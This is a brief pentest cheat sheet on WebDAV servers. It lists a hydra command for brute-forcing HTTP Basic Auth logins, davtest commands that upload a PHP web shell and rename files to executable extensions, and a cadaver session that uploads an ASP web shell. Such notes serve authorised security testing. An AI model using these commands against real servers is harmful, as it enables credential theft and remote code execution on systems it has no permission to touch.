WebDAV
Pentesting WebDAV - TCP Ports 80,443
Theory
Practice
Brute-force (HTTP Basic Auth)
hydra -L users.txt -P passwords.txt example.domain.local http-get /webdavDirectory/Upload a shell
# Test and cleanup
davtest -url http://example.com/davdir -auth 'user:pass' -cleanup
#Uplaod .txt files and try to move it to other extensions
davtest -url http://example.com/davdir -auth 'user:pass' -cleanup -move davtest -url http://example.com/davdir -auth 'user:pass' -uploadfile shell.php -uploadloc shell.php$ cadaver http://example.com/davdir
Username: bob
Password:
dav:/davdir/> put /usr/share/webshells/asp/webshell.aspResources
Last updated